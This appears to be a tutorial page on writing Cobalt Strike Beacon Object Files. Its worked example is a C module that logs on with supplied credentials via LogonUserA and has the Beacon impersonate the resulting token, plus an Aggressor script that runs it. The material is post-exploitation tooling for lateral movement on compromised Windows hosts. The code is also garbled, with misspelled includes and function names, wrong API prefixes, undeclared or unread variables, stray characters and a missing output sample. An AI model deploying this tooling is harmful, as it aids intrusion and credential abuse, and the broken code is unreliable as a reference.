Beacon Object Files (BOF)
A Beacon Object File (BOF) is a compiled C program, written to a convention that allows it to execute within a Beacon process and use internal Beacon APIs. BOFs are a way to rapidly extend the Beacon agent with new post-exploitation features
CobaltStrike:
Create by including <windows.h> - windows header file add beacon.h to the local folder
For the example below we use the Windows API (WINADVAPI) to create a new user token that we can use in CobaltStrike to change user. otherwise known as LogonUserA (https://learn.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-logonusera)
To get the informaiton for it, lets look in mingw to see the calls:
grep -rni ' LogonUserA' -i /usr/share/mingw-w64/include
should result in the following:

Repeat for 'GetLastError' and 'CloseHandle'.
When calling a module, we need to add the DLL to get the calls from, this can be done by checking the Microsoft site and seeing the requirments (https://learn.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-logonusera) - here we can see we need the ADVAPI32.dll

Using this before the API call, we need to add the library i.e. ADVAPI32$LogonUserA using the new information
the 'go' variable is default for BOF in CobStrike, but others can be used.
The 'BeaconDataParse()' variable gets the data submitted into Cob (supplied from CNA).
The 'BeaconDataExtract()' variable calls the data (in order) from the BeaconDataParse()
The 'BeaconIsAdmin()' variable check is the beacons elevated and privileges, then
The 'BeaconUseToken()' handles new tokens
The 'BeaconPrintf()' prints to session
Example taken from video
BOF File:
# include <windows.h>
# inclide "beacon.h"
WINADVAPI WINBOOL WINAPI ADVAPI32$LogonUserA (LPCSTR lpszUsername, LPCSTR lpszDomain, LPCSTR lpszPassword, DWORD dwLogonType, DWORD dwLogonProvider, PHANDLE phToken);
WINBASEAPI DWORD WINAPI Kernel32$GetLastError (VOID);
WINBASEAPI WINBOOL WINAPI KERNEl32$CloseHandle (HANDLE hObject);
void go( char * buff, int len) {
HANDLE hToken;
datap parser;
char * domain;
char * user;
char * pass;
// Extract data given to CS
BeaconDataParse(&parser, buff, len);
domain = BeaconDataExtract(&parser, NULL);
user = BeaconDataExtract(&parser, NULL);
pass = BeaconDataExtract(&parser, NULL);
// Check we are running elevated
if (!BeaconIsAdmin()) {
BeaconPrintf(CALLBACK_ERROR, "You need to be admin to run this");
return;
}
// run ADV API and get token for new user (Y)
if (ADVAPI32sLogonUserA(user, domain, pass, LOGON32_LOGON_INTERACTIVE, LOGON32_PROVIDER_DEFAULT, &hToken)) {
BeaconUseToken(hToken);
KERNEL32$CloseHandle(hToken);
}
else {
BeaconPrintf(CALLBACK_ERROR, "Failed: %d", KERNEL32$GetLastError());
}
}
CNA file:
# $1 = Beacon ID
# $2 = Domain\User
# $3 = Password
alias luser {
local('$handle $data $args $domain $user $pass $arch')'
# Get arch:
$arch = barch($1);
# Parse arguments
($domain, $user) = split('\\\\', $2);
$password = $3;
# read BOF file
$handle = openf(script_resource("luser. $+ $arch $+.o"));
closef($handle);
# pack the arguments
$args = bod_pack($1, "zzz", $domain, $user, $password);c
# Run the BOF
beacon_inline_execute($1, $data, "go", $args)'
}
Last updated